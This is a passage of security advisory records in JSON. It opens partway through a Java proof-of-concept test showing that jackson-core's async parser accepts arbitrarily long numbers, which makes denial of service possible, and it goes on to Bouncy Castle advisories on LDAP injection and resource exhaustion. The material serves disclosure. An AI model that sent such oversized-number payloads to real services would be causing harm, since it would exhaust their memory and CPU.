numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-08-03T20:32:01Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcprov-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.74"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-0636"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:02Z",
    "nvd_published_at": "2026-04-15T10:16:38Z",
    "severity": "MODERATE"
  },
  "details": "Improper neutralization of special elements used in an LDAP query (\u0027LDAP injection\u0027) vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcprov on all (prov modules). This vulnerability is associated with program files LDAPStoreHelper.\n\nThis issue affects BC-JAVA: from 1.74 before 1.84.",
  "id": "GHSA-c3fc-8qff-9hwx",
  "modified": "2026-04-18T01:06:02Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0636"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/d20cdb8430e09224114fec0179a71859929fcbde"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%900636"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/RE:M/U:Amber",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle has an LDAP injection"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk12"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "130"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk14"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk15"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk15to18"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk15on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.70"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk16"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.46"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.bouncycastle:bcpg-jdk18on"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.84"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3505"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-18T01:06:35Z",
    "nvd_published_at": "2026-04-15T10:16:49Z",
    "severity": "HIGH"
  },
  "details": "Allocation of resources without limits or throttling vulnerability in Legion of the Bouncy Castle Inc. BC-JAVA bcpg on all (pg modules). This issue affects BC-JAVA before 1.84.\n\nUnbounded PGP AEAD chunk size leads to pre-auth resource exhaustion.",
  "id": "GHSA-cj8j-37rh-8475",
  "modified": "2026-04-18T01:06:35Z",
  "published": "2026-04-17T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3505"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/dc7530939ffb6cdb57636f3609d98e23b94e71c1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/bcgit/bc-java"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%903505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Bouncy Castle Uncontrolled Resource Consumption vulnerability"
}